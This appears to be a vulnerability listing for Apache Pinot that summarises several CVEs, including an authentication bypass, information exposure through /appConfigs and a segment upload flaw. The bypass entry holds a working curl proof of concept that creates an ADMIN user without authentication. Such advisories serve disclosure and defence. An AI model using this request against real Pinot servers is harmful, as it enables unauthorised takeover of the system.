Recent Apache Pinot Security Vulnerabilities
Pinot Auth Bypass via Malformed URL Paths
CVE-2024-56325
9.8 - Critical
- April 01, 2025
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Authentication Bypass Using an Alternate Path or Channel
Apache Pinot <1.0.0: Info Exposure /appConfigs (fixed with RBAC in 1.0.0)
CVE-2024-39676
7.5 - High
- July 24, 2024
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Pinot. This issue affects Apache Pinot: from 0.1 before 1.0.0. Users are recommended to upgrade to version 1.0.0 and configure RBAC, which fixes the issue. Details: When using a request to path /appconfigs to the controller, it can lead to the disclosure of sensitive information such as system information (e.g. arch, os version), environment information (e.g. maxHeapSize) and Pinot configurations (e.g. zookeeper path). This issue was addressed by the Role-based Access Control https://docs.pinot.apache.org/operators/tutorials/authentication/basic-auth-access-control , so that /appConfigs` and all other APIs can be access controlled. Only authorized users have access to it. Note the user needs to add the admin role accordingly to the RBAC guide to control access to this endpoint, and in the future version of Pinot, a default admin role is planned to be added.
Information Disclosure
In 0.10.0 or older versions of Apache Pinot
CVE-2022-26112

In 0.9.3 or older versions of Apache Pinot segment upload path allowed segment directories to be imported into pinot tables
CVE-2022-23974
7.5 - High
- April 05, 2022
In 0.9.3 or older versions of Apache Pinot segment upload path allowed segment directories to be imported into pinot tables.
